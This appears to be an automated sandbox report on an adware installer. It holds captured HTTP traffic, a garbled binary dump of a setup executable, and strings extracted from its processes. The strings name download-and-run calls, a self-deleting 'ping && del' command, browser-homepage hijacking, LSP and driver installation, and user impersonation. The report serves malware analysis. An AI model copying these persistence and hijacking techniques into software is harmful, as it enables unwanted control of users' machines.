Last-Modified: Wed, 01 Apr 2015 13:13:51 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: LKz kp
QxU4Q1tHLohssQwibFzh/JSc3Q5Qt3fLy7R Anc86iqXzi5WW ttMnbU2q..x-amz-requ
est-id: 304DB6AED146E019..Date: Sun, 26 Apr 2015 23:56:12 GMT..Expires
: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, must-revalid
ate..Last-Modified: Wed, 01 Apr 2015 13:13:51 GMT..ETag: "28d6814f309e
a289f847c69cf91194c6"..Content-Type: image/gif..Content-Length: 35..Se
rver: AmazonS3..GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000171&i=950&n=deploy_nova_ie_start_funnel_step_name&rnd=1430092571 HTTP/1.1


Host: errors.localkeymappeer.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: 3N/oTMGlA luii8cUpPKRMlWa6lrdZyysMVAIBhKVCn/OyDxpZxhDA8cEhg zX4H
x-amz-request-id: 285D8EA0CD611B1C
Date: Sun, 26 Apr 2015 23:56:13 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Wed, 01 Apr 2015 13:13:51 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000171&i=1000&n=deploy_ie_start_funnel_step_name&rnd=1430092571 HTTP/1.1


Host: errors.localkeymappeer.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: nUs7H56Er6kUyKK11k298Qi/G/wlQVsFWbcC5wXQ9KsTT3yU0y35QZTvByFOZ2pZ
x-amz-request-id: 729D6127AF2A52DA
Date: Sun, 26 Apr 2015 23:56:14 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Wed, 01 Apr 2015 13:13:51 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000171&i=1100&n=deploy_updater_start_funnel_step_name&rnd=1430092571 HTTP/1.1


Host: errors.localkeymappeer.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2:   Dvc0163 h2ztbW ynDLRp3A0j/bQYJq2pHJ1s5z4EK5DUK4FD fe9ZvX43o/80
x-amz-request-id: 17DD030C4573CA95
Date: Sun, 26 Apr 2015 23:56:14 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Wed, 01 Apr 2015 13:13:51 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2:   Dvc0
163 h2ztbW ynDLRp3A0j/bQYJq2pHJ1s5z4EK5DUK4FD fe9ZvX43o/80..x-amz-requ
est-id: 17DD030C4573CA95..Date: Sun, 26 Apr 2015 23:56:14 GMT..Expires
: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, must-revalid
ate..Last-Modified: Wed, 01 Apr 2015 13:13:51 GMT..ETag: "28d6814f309e
a289f847c69cf91194c6"..Content-Type: image/gif..Content-Length: 35..Se
rver: AmazonS3..GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000171&i=1200&n=deploy_watchdog_start_funnel_step_name&rnd=1430092572 HTTP/1.1


Host: errors.localkeymappeer.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: VDf8/3efYJYlngTy2e7JlGrAfu5L7c32Aif7SX2llhGqfZxUrM FP8bBN9M3I5CX
x-amz-request-id: 7BEADC0F99C0426E
Date: Sun, 26 Apr 2015 23:56:15 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Wed, 01 Apr 2015 13:13:51 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000171&i=10000&n=deploy_end_funnel_step_name&rnd=1430092573 HTTP/1.1


Host: errors.localkeymappeer.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: JYindq5yThuyPoHtQEwTxI6z2Fgp0e0DOLCrwwgCcxONRs2j1hE5bfJEkspB1sqK
x-amz-request-id: 7712C8DAC29BBA18
Date: Sun, 26 Apr 2015 23:56:15 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Wed, 01 Apr 2015 13:13:51 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: JYindq
5yThuyPoHtQEwTxI6z2Fgp0e0DOLCrwwgCcxONRs2j1hE5bfJEkspB1sqK..x-amz-requ
est-id: 7712C8DAC29BBA18..Date: Sun, 26 Apr 2015 23:56:15 GMT..Expires
: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, must-revalid
ate..Last-Modified: Wed, 01 Apr 2015 13:13:51 GMT..ETag: "28d6814f309e
a289f847c69cf91194c6"..Content-Type: image/gif..Content-Length: 35..Se
rver: AmazonS3..GIF89a.............,...........D..;..



GET /sd?is=sm HTTP/1.1
Range: bytes=327040-
User-Agent: Better Installer(Mozilla)
Host: install-cdn.theswiftrecord.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Pragma: no-cache
Content-Type: application/octet-stream
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=SwiftRecordSetup.exe
X-AspNet-Version: 4.0.30319
SVR: SP003C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Cache-Control: private, max-age=86400
Expires: Mon, 27 Apr 2015 23:54:52 GMT
Date: Sun, 26 Apr 2015 23:54:52 GMT
Content-Range: bytes 327040-523263/523264
Content-Length: 196224
Connection: keep-alive
.6.C.......4..e.(.....7.dQ.I......l....J..:.W<.m7Fd/.!.I.s.....z...
Q.(O.....h.........V...E....T..K....K...".}..O%.K...D..Me.."..b....9.D
..Q..L?..`......`..!|X.=....vt5..2w...%.q.$R....).. ..t..f...&......V.
6......V...J...}l..),"[C...ro U..g$4...?JO/#.p...[T..}l....m......R...
..B.-c..........D..../....$..r3..........!!.o..#'[email protected].....
......)n:S.`....ZP.:Ih.!.\..Za[P....u.@.'.....0.8..^.6.............R..
.J...T.e.a:._y.".$y......x......9.N..aL[..2..Z$....[.y,u...0^..a..pJ..
[email protected]..^%2i..rJF..C..0c...}..&....z`.2h"'.;.L
.n.....j4........b..47.....B...8....\.}Ta`.<........K....<..."..
j.oj}.}..<aQ.........iIy..'.6E...........EI.@....>......m.......
..|.}[email protected]@"....G4...C..A...o.6...97..H...%.[g
..."[email protected].~P....*[email protected]....`......m/.........yY.&
gt;.....=...VEd.-.........q.V0..,.i.H:...X...73....Q..E.%.......h..q.b
HO!.c...H...|..<....}....%....9..>M.......fd..>..\....._4eh..
../.C [email protected].........=.p...........L...
.}..Id....x..Gq.M.^.w.I'..a.\Ca.v.7#..vP..^..m..&..X.k.L.L.....r......
....S|.r....l=.YYr..`9..........e.y!..p...o........p[......-..S.......
...J...x....g~........F....E....W.....D0....-p].Wx...'...d0m;9..a.....
.k.........c1.;...........`w.k.{O......P..E``.<b.......c[}.}.....Iy
...j?,.s....}T>...*.V.|...L9........M..68..v]...M.H......ycr......'
.U....a...K....Z.J~..GCB&..7F.1.l.! .&.m.O)@y...x%.%..c>.#.....>
.(KCN...m.y....J...;.s.G..i.U>QG...<..<t.F.yj...Z........
<<< skipped >>>


GET /sd?is=sm HTTP/1.1
Range: bytes=130816-
User-Agent: Better Installer(Mozilla)
Host: install-cdn.theswiftrecord.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Pragma: no-cache
Content-Type: application/octet-stream
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=SwiftRecordSetup.exe
X-AspNet-Version: 4.0.30319
SVR: SP003C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Cache-Control: private, max-age=86400
Expires: Mon, 27 Apr 2015 23:54:52 GMT
Date: Sun, 26 Apr 2015 23:54:52 GMT
Content-Range: bytes 130816-523263/523264
Content-Length: 392448
Connection: keep-alive
#./[email protected]}R...;B...,..vgQ4...W..O&....
=.......s../y.wa.h.0p$.Vf.J...JD..j5..........;...Y.....:k.tT=..x./...
.E..n...........$.s=.....)8p.E....B..c.$..Vj;.,.t.D|6d.B.lp.>Y.C...
......w.^|..Yx.P`N..j.RN.. ...~...Lok.....o..m%`,@,.....J.S...jM@.....
#...J..h..U^...`.RV.,^z..1.d/>?.u.\......{.r.l....M........e.&...[.
6<..M.......h.^...H.)..6.........../.O.]........W}. ...$..x9.9.i...
....)..~..b.T.........f...<8...C..$>YC............t..R.....`.*Q.
[email protected]..`.....i...X.y...1.KQ...w,d.....4Oxn....
... (....6.MY. .u...".Q.Fn.D..<..o..M.......&ZYJ.b5.24o...M...j..$.
..l>.`rlx~..~F6Zh..>..`...i.y..-.e.....2.. ..CCkx...&.g.....j..Y
......V.5...5.[....z.J.....R..x..u..i...|.....Y.s..-s.1.>...F.....G
...YWH.0.H.... .6=AQ.s.......%..3n.S.,..RY.D%...l.G^..Ny.QMb...>..=
.1:h8.2.......%.Qv.=.g.i.........{.~.o....5.1g[...._ .C.o.=.....%...[.
.[..i....Z/.z..i..UP.......8...sX..Y......iYI...C.(E7..S..9...H,L...e.
.^ N.7...x.Qp.J.T....xz}.....&.%...<,. ..{s.=..Vp.........'./......
Zv9.m..P.f..8....w...`..pJ....>a.'(....s'...l|t.....WO ..)3......2.
....F...@...#.v........29.#..w.-...nN..S"w..b........4.HY.......>.v
..?......>.#..\...sA.......W....^pS.z......9..%Q.l...7.}...[..*<
  rq.L:....[.$7=.=B.mE-......)s..KM...........!..s..xa2...v3..uF...gO.
G'.B.e..-...z#..ck{`.v....`gx....Eg........`[email protected]...'.A.....Z
...LVAQd.q..( ...........6...6....P"..~.9......47..T.....IE..([.S.O.|o
.1{Ue..?C^-................T9P.pb..B#.....0_B....:#....v....8<.
<<< skipped >>>






The Application connects to the servers at the folowing location(s):







ProtectWindowsManager.exe_3752:




.text
`.rdata
@.data
.rsrc
@.reloc
j.Yf;
_tcPVj@
.PjRW
?456789:;<=
!"#$%&'()* ,-./0123
SHELL32.dll
function not supported
operation canceled
address_family_not_supported
operation_in_progress
operation_not_supported
protocol_not_supported
operation_would_block
address family not supported
broken pipe
inappropriate io control operation
not supported
operation in progress
operation not permitted
operation not supported
operation would block
protocol not supported
GetProcessWindowStation
operator
SHLWAPI.dll
%dYeArdMoNthdDaY
URLDownloadToFileA
file_url
ShellExecuteExW
SHDeleteKeyW
GetWindowsDirectoryA
GetProcessHeap
GetSystemWindowsDirectoryW
KERNEL32.dll
USER32.dll
RegCreateKeyExW
RegCloseKey
RegOpenKeyExW
RegCreateKeyW
ReportEventW
ADVAPI32.dll
PSAPI.DLL
USERENV.dll
VERSION.dll
GetCPInfo
zcÁ
<requestedExecutionLevel level='requireAdministrator' uiAccess='false' />
263f3k3z3
=>>_> ?`?}?
5 5$5(5,5
? ?$?(?,?0?4?8?<?
:$:,:8:\:|:
%s_%s
\\.\Phys
..\Src\json\src\json_value.cpp
..\Src\json\src\json_reader.cpp
xxxx
..\Src\json\src\json_writer.cpp
kernel32.dll
mscoree.dll
- CRT not initialized
- Attempt to initialize the CRT more than once.
- floating point support not loaded
USER32.DLL
portuguese-brazilian
WindowsMangerProtect
SOFTWARE\supWindowsMangerProtect
xa.geoip
visit.heartbeat
ProtectWindowsManager.exe
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
TypesSupported
%s is already installed
%s installed
%s failed to install. Error %d
%s is not installed
Could not remove %s. Error %d
WindowsProtectManger
Advapi32.dll
/c ping 127.0.0.1 -n 2 > nul && del
"%s" %s
psapi.dll
Explorer.exe
urlmon.dll
update.exe
Assertion failed: %s, file %s, line %d
WindowsMangerProtect Service
C:\ProgramData\WindowsMangerProtect\ProtectWindowsManager.exe
WindowsMangerProtect service
SysTool PasSame LIMITED
Windows SysTool Svr
20.0.0.2227
Windows SysTool.exe

ProtectService.exe_4080:




.text
`.rdata
@.data
.rsrc
@.reloc
GET %s%s%s HTTP/1.1
Host: %s
%sUser-Agent: Mozilla/4.0
POST %s HTTP/1.1
%sContent-Type: %s
User-Agent: Mozilla/4.0
Content-Length: %u
%*s %d %*s
%*[ ]%[^
?456789:;<=
!"#$%&'()* ,-./0123
file_url
E:\supsoft\SupSearchProtectV4\SearchProtect\Bin\Release\ProtectService.pdb
GetProcessHeap
GetSystemWindowsDirectoryW
KERNEL32.dll
USER32.dll
RegOpenKeyW
RegCloseKey
RegOpenKeyExW
RegCreateKeyExW
ADVAPI32.dll
SHELL32.dll
MSVCP110.dll
InternetCrackUrlW
WININET.dll
WS2_32.dll
SHLWAPI.dll
MSVCR110.dll
_crt_debugger_hook
__crtUnhandledException
__crtTerminateProcess
_calloc_crt
__crtGetShowWindowMode
_amsg_exit
_wcmdln
__crtSetUnhandledExceptionFilter
WinHttpCloseHandle
WinHttpOpen
WinHttpSetTimeouts
WinHttpCrackUrl
WinHttpConnect
WinHttpOpenRequest
WinHttpSetOption
WinHttpAddRequestHeaders
WinHttpSendRequest
WinHttpGetIEProxyConfigForCurrentUser
WinHttpGetProxyForUrl
WinHttpWriteData
WinHttpReceiveResponse
WinHttpQueryHeaders
WinHttpQueryDataAvailable
WinHttpReadData
WINHTTP.dll
SensApi.dll
VERSION.dll
PSAPI.DLL
USERENV.dll
.?AVCHttpClient@@
.?AVCTcpipSocket@@
<requestedExecutionLevel level='requireAdministrator' uiAccess='false' />
2-2v2
hXXp://
Software\Microsoft\Windows\CurrentVersion\Internet Settings
http=
WinHttpClient
Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) in my heart of heart.
hXXp://xa.xingcloud.com
xxxx
%u_%u
%s_%s
%s_X
\\.\PhysicalDrive%d
UpDateProcess.exe
hXXp://VVV.theviilage.com/searchprotect/up?ptid=%s&sid=%s&ln=%s_%s&ver=%s&uid=%s&dp=%s
g{2EFFE99D-743D-44D0-BBF2-F9DDDEA2F92D}
Global\{5F26509F-29FE-4598-8800-FA22CE9CC17F}__Mutex
Report HeartBeat
cmdshell.exe
hXXp://xa.xingcloud.com/v4/searchprotect/%s?action=visit.heartbeat.%s&update0=ref,%s&update1=nation,%s&update2=language,%s&update3=version,%s
hXXp://xa.xingcloud.com/v4/searchprotect/%s?action0=xa.geoip&action1=visit&action2=install
hXXp://xa.xingcloud.com/v4/searchprotect/%s?action=uninstall
explorer.exe
Advapi32.dll
"%s" %s
psapi.dll
Explorer.exe
json_value.cpp
ljson_reader.cpp
ProtectSvc.exe
4.0.1.2253

HPNotify.exe_3488:




.text
`.rdata
@.data
.rsrc
@.reloc
<9%uo
wszUrl
strUrlTemp
hKEY
strSelUrl
strUrl
strConfUrlTemp
strDsUrl
strHpUrl
strCmdLine
tCPW
%UUUU
e_GetBrowserCurrentHpUrl
e_GetBrowserCurrentDsUrl
URLDownloadToFileW
URLDownloadToFileW ret:0XX
Error : %d
inflate 1.1.3 Copyright 1995-1998 Mark Adler
1.1.3
monochrome
unsupported bit depth
`'\%D,3
Run-Time Check Failure #%d - %s
%s%s%p%s%ld%s%d%s
%s%s%s%s
RegOpenKeyExW
RegCloseKey
del /s/q %1\*.*
%suninstall.bat
E:\supsoft\SupSearchProtectV4\SearchProtect\bin\Release\HPNotify.pdb
KERNEL32.dll
GetKeyState
USER32.dll
GDI32.dll
ADVAPI32.dll
ShellExecuteW
ShellExecuteA
ShellExecuteExW
SHELL32.dll
ole32.dll
OLEAUT32.dll
SHDeleteKeyW
SHLWAPI.dll
MSVCP110.dll
MSVCR110.dll
_calloc_crt
_CRT_RTC_INITW
__crtGetShowWindowMode
_amsg_exit
_wcmdln
_crt_debugger_hook
__crtUnhandledException
__crtTerminateProcess
__crtSetUnhandledExceptionFilter
GdiplusShutdown
gdiplus.dll
IMM32.dll
DeleteUrlCacheEntryW
WININET.dll
COMCTL32.dll
GetProcessHeap
#*1892 $
%,3:;4-&
.?AVCActiveXEnum@DuiLib@@
.?AVCWebBrowserUI@DuiLib@@
<requestedExecutionLevel level='requireAdministrator' uiAccess='false' />
<assemblyIdentity type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='x86' publicKeyToken='6595b64144ccf1df' language='*' />
3?3
1-2}2
77t7
9":,:6:@:
12u2
9 9$9(9,9094989<9
0 1@1\1|1
hXXp://VVV.bing.com/
hXXp://VVV.yahoo.com/
hXXp://VVV.google.com/
%sconf
web/?type=dspp&
web/?type=dspp
hXXp://VVV.v9.com/
Itemd
BrowserAction.dll
%u_%u
%s_%s
%s_X
\\.\PhysicalDrive%d
\\.\Scsi%d:
UrlEdit
conf.xml
hXXp://v9.com/license_agreement.html
hXXp://v9.com/privacy_policy.html
hXXp://xa.xingcloud.com/v4/searchprotect/%s?action=set.show.%s
hXXp://xa.xingcloud.com/v4/searchprotect/%s?action=set.other.%s
%stmp%d.tmp
urlmon.dll
main.xml
explorer.exe
Global\{5F26509F-29FE-4598-8800-FA22CE9CC17F}__Mutex
IeWatchDog.dll
BrowerWatchFF.dll
BrowerWatchCH.dll
Global\GUID(6D05BFEC-4307-4649-8963-962A24345DF4)
msimg32.dll
User32.dll
WM_KEYDOWN
WM_KEYUP
WM_SYSKEYDOWN
WM_SYSKEYUP
0xX
keyboard
msftedit.dll
password
%s%s%s
Correct password required
%s\%s
WebBrowser
transshadow
transshadow1
dest='%d,%d,%d,%d'
dest='%d,%d,%d,%d' source='%d,%d,%d,%d'
source='%d,%d,%d,%d' dest='%d,%d,%d,%d'
M-d-d
WebBrowserUI
errorUrl
{D27CDB6E-AE6D-11CF-96B8-444553540000}
user32.dll
MSPDB110.DLL
ADVAPI32.DLL
/c ping 127.0.0.1 -n 2 > nul && del /s/q
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
%Program Files% (x86)\XTab\skin\
SupHPNot.exe
4,0,1,2253
SupHPNty.exe

YouTubeAcceleratorService.exe_3428:




.text
`.rdata
@.data
.text1
.adata
.data1
.pdata
.rsrc
uh9.tZ
otuh9.tZ
tZ9.tB
tV9.tB
l$$9.tZ
t9.tZ
uB9.tF
Windows CE
Windows 7
Windows Vista
Windows 2003 Server
Windows XP
Windows 2000
Windows NT
Windows Me
Windows 98
Windows 95
[CAcceleratorService::ExecuteServerAsWD] Exit
[CAcceleratorService::ExecuteServerAsWD] Impersonate Wakeup
\\.\pipe\GOOBZO_VAPIPESERVERENG
[CAcceleratorService::ExecuteServerAsWD] Enter
[CAcceleratorService::CreateEngineThread] Create thread result %d
[CAcceleratorService::CreateEngineThread] ___Error Creating the Engine Keep Alive event. error: %d
[CAcceleratorService::StopServiceExitMode] Name: %s
[CAcceleratorService::ProcessTimeoutEvent] ___Error wait for thread termination result %d
[CAcceleratorService::ProcessTimeoutEvent] ___Error StopThread result %d
[CAcceleratorService::ExecuteServer] Leave
[CAcceleratorService::ExecuteServer] Calling to ExecuteServerAsWD
[CAcceleratorService::ExecuteServer] ___Error creating the service named event. LE: %d
[CAcceleratorService::ExecuteServer] Enter
%d.%d.%d.%d
Name: %s
Path: %s
Version: %s
%s_%d.log
[CAcceleratorService::InstallDriver] Driver name: %s, Driver path: %s
[CAcceleratorService::UninstallDriver] Driver name: %s
[CAcceleratorService::InstallLsp] Module not found - LE: %d
[CAcceleratorService::InstallLsp] Function Install not found - LE: %d
[CAcceleratorService::InstallLsp] Module path: %s
[CAcceleratorService::UninstallLsp] Module not found - LE: %d
[CAcceleratorService::UninstallLsp] Function Remove not found - LE: %d
[CAcceleratorService::UninstallLsp] Module path: %s
[CAcceleratorService::RunCommand] Command: %d
[CLSPKeepAlive::GetLastLSPTestStatus] return %d
[CLSPKeepAlive::CheckOurLSPStatus]
[CLSPKeepAlive::Work] CheckOurLSPStatus - our LSP is installed!
[CLSPKeepAlive::Work] ___Error CheckOurLSPStatus - *** SBLSP NOT Installed ***
[CLSPKeepAlive::Work] ___Error creating the service named event. LE: %d
%sLow\%s\
%C:\Users\Public\Documents\%s\%s\
%s\%s\%s\
%s\Application Data\%s\%s\
[CDriverManager::CreateDriver] CreateService failed: %d
Tcpip
[CDriverManager::CreateDriver] Name: %s, Path: %s
[CDriverManager::Install] OpenSCManager failed: %d
[CDriverManager::Install] Name: %s, Path: %s
[CDriverManager::DeleteDriver] DeleteService failed: %d
[CDriverManager::DeleteDriver] OpenService failed: %d
[CDriverManager::DeleteDriver] Name: %s
[CDriverManager::UnInstall] OpenSCManager failed: %d
[CDriverManager::UnInstall] Name: %s
[CDriverManager::StartDriver] OpenService failed: %d
[CDriverManager::StartDriver] Name: %s
[CDriverManager::Load] OpenSCManager failed: %d
[CDriverManager::Load] Name: %s
[CDriverManager::StopDriver] OpenService failed: %d
[CDriverManager::StopDriver] Name: %s
[CDriverManager::UnLoad] OpenSCManager failed: %d
[CDriverManager::UnLoad] Name: %s
[CEventsThread::SetTimeoutResolution] From: %d -> To: %d
[CEventsThread::WaitForMultipleEvents] Released on Signaled: %d ms
[CEventsThread::WaitForMultipleEvents] Released on Timeout: %d ms
[CEventsThread::WaitForMultipleEvents] ___Error MsgWaitForMultipleObjectsEx. LE: %d
[CEventsThread::WaitForMultipleEvents] TID=%X
[CEventsThread::CreateNamedEvent] OpenEvent. LE: %d
[CEventsThread::CreateNamedEvent] ___Error OpenEvent: LE: %d
[CEventsThread::CreateNamedEvent] ___Error CreateEvent. LE: %d. Try OpenEvent...
[CEventsThread::Start - Leave] TID=%X
[CEventsThread::Start] ___Error - Failed to create thread: %X
[CEventsThread::Stop - Leave] TID=%X
[CEventsThread::Stop - Enter] TID=%X
[CEventsThread::CallProcessTimeoutRoutines] ___Error Invalid Event Entry: %d, Timeout: %d
[CEventsThread::AlertEvent] ___Error SetEvent failed: %d
[CEventsThread::AlertEvent] ___Error Invalid Event Entry: %d
[CEventsThread::AlertEvent] ___Error Not found Event: %d
[CEventsThread::SetGlobalEvent] ___Error Invalid Event Entry: %d
[CEventsThread::SetGlobalEvent] ___Error Not found Event: %d
[CEventsThread::SetGlobalEvent] Event: %d
[CEventsThread::ResetEvent] ___Error ResetEvent failed: %d
[CEventsThread::ResetEvent] ___Error Invalid Event Entry: %d
[CEventsThread::ResetEvent] ___Error Not found Event: %d
[CEventsThread::ResetEvent] Event: %d
[CEventsThread::CallProcessEventRoutines] ___Error Invalid Event Entry: %d
[CEventsThread::CallProcessEventRoutines] ___Error Invalid Event Index: %d
[CEventsThread::RemoveEvent] ___Error CloseHandle failed: %d
[CEventsThread::RemoveEvent] ___Error Invalid Event Entry: %d
[CEventsThread::RemoveEvent] ___Error Not found Event: %d
[CEventsThread::RemoveEvent] Event: %d
[CEventsThread::Cleanup] ___Error CloseHandle(0x%p) failed: %d
[CEventsThread::Cleanup] Closing Handle: %d
[CEventsThread::WaitEvent] TID=%X
[CEventsThread::Work] TID=%X - Exit !!!
[CEventsThread::Work] WAIT_ABANDONED - %d
[CEventsThread::Work] TID=%X
[CEventsThread::AddEvent] ___Warning event handle already exists %d
[CEventsThread::AddEvent] ___Error invalid event handle %d
[CImpersonate::Impersonate] ImpersonateLoggedOnUser - Error: %d
[CImpersonate::Impersonate] Impersonated: %d
[CImpersonate::Revert] RevertToSelf - Error: %d
[CImpersonate::Revert] Impersonated: %d
[CImpersonate::Cleanup] Impersonated: %d
[CImpersonate::GetUserSID] LookupAccountNameW failed. GetLastError returned: %d
[CImpersonate::GetUserSID] The SID for %s is invalid.
[CImpersonate::GetUserSID] Not Enough Memory: %d
[CImpersonate::SetPrivilege] AdjustTokenPrivileges - Error: %d
[CImpersonate::SetPrivilege] LookupPrivilegeValue - Error: %d
[CImpersonate::OpenCurrentUserDesktop] - The function does not support Windows Vista and Windows 98
[CImpersonate::OpenCurrentUserDesktop] OpenDesktop - Error: %d
[CImpersonate::OpenCurrentUserDesktop] OpenInputDesktop - Error: %d
[CImpersonate::OpenCurrentUserDesktop] SetProcessWindowStation - Error: %d
[CImpersonate::OpenCurrentUserDesktop] OpenWindowStation - Error: %d
[CImpersonate::OpenCurrentUserDesktop] GetProcessWindowStation - Error: %d
[CImpersonate::OpenCurrentUserDesktop] - The function does not support MAC
[CImpersonate::CreateProcessAsCurrentUser] CreateProcessAsUser - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] CreateEnvironmentBlock - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] AddAceToDesktop - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] AddAceToWindowStation - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] GetLogonSID - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] DuplicateTokenEx - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] OpenDesktop - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] SetProcessWindowStation - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] OpenWindowStation - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] GetProcessWindowStation - Error: %d
[CImpersonate::AddAceToWindowStation] SetUserObjectSecurity - Error: %d
[CImpersonate::AddAceToWindowStation] SetSecurityDescriptorDacl - Error: %d
[CImpersonate::AddAceToWindowStation] CopySid - Error: %d
[CImpersonate::AddAceToWindowStation] AddAce - Error: %d
[CImpersonate::AddAceToWindowStation] GetAce - Error: %d
[CImpersonate::AddAceToWindowStation] GetAclInformation - Error: %d
[CImpersonate::AddAceToWindowStation] GetUserObjectSecurity - Error: %d
[CImpersonate::AddAceToDesktop] SetUserObjectSecurity - Error: %d
[CImpersonate::AddAceToDesktop] SetSecurityDescriptorDacl - Error: %d
[CImpersonate::AddAceToDesktop] AddAccessAllowedAce - Error: %d
[CImpersonate::AddAceToDesktop] AddAce - Error: %d
[CImpersonate::AddAceToDesktop] GetAce - Error: %d
[CImpersonate::AddAceToDesktop] GetSecurityDescriptorDacl - Error: %d
[CImpersonate::AddAceToDesktop] GetUserObjectSecurity - Error: %d
[CImpersonate::OpenCurrentUserKey] LoadUserProfile - SUCCESS
[CImpersonate::OpenCurrentUserKey] LoadUserProfile failed - Error: %d
[CImpersonate::GetLogonUserName] GetLogonUserName - Error: %d
[CImpersonate::OpenCurrentUserKey] RegOpenCurrentUser - Error: %d
[CImpersonate::OpenCurrentUserKey] RegOpenCurrentUser - SUCCESS
[CImpersonate::OpenCurrentUserKey] Impersonated: %d
[CImpersonate::FindLoggedOnUser] Process32First - Error: %d
[CImpersonate::FindLoggedOnUser] OpenProcess - Error: %d
[CImpersonate::FindLoggedOnUser] OpenProcessToken - Error: %d
[CImpersonate::FindLoggedOnUser] CreateToolhelp32Snapshot failed - Error: %d
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
explorer.exe
[CImpersonate::FindLoggedOnUser] Impersonated: %d
[CImpersonate::GetLogonUserName] Name: %s
[CImpersonate::GetLogonUserName] GetUserName - Error: %d
[CImpersonateThread::NotifyImpersonateLogon] Time: %d
[CImpersonateThread::NotifyImpersonateLogoff] Time: %d
[CImpersonateThread::ProcessEvent] CreateProcess - CmdLine: %s, AppName: %s, ShowCmd: %d
[CImpersonateThread::CreateProcess] CmdLine: %s, AppName: %s, ShowCmd: %d
[CImpersonateThread::Start ] ___Error SetConsoleCtrlHandler(TRUE), LE: %d
[CImpersonateThread::Start ] ___Error SetConsoleCtrlHandler(FALSE) failed: %d
engine.dll
DestroyPipeEventThreadManager
CreatePipeEventThreadManager
ipc.dll
xmldb.dll
config.xml
<d/d/%d d:d:d::d 0x%X>
[SbTracer::RegisterOnConfigurationChange] ___Error: %d, RegNotifyChangeKeyValue
[SbTracer::RegisterOnConfigurationChange] ___Error: %d, RegOpenKeyEx
[SbTracer::RecursiveCreateDirectory] Directory: %s
[SbTracer::RecursiveCreateDirectory] ___Error - CreateDirectory: %s
[SbTracer::RecursiveCreateDirectory] ___Error - Directory: %s
[SbTracer::ReadConfiguration] Trace Max Size: %d
[SbTracer::ReadConfiguration] Trace Time Stamp: %d
[SbTracer::ReadConfiguration] Trace Time Limit: %d
[SbTracer::ReadConfiguration] Trace Backup: %d
[SbTracer::ReadConfiguration] Trace Destination: %d
[SbTracer::ReadConfiguration] Trace Level: %d
[SbTracer::FormatFilePath] Log Path: %s
[SbTracer::FormatFilePath] ___Error - RecursiveCreateDirectory: %s
[SbTracer::FormatFilePath] ___Warning - No Log folder: %s
[SbTracer::FormatFilePath] ___Error - GetModuleFileName: %s
\StringFileInfo\x\%s
[SbTracer::BackupTraceFile] %s
[SbTracer::OpenTraceFile] Done %s
[SbTracer::OpenTraceFile] ___Error: %d, File: %s
[SbTracer::WriteTraceLine] !!! OVERFLOW or FORMAT ERROR !!! - (%d) %s
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] SetSecurityDescriptorDacl failed. GetLastError returned: %d
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] InitializeSecurityDescriptor failed. GetLastError returned: %d
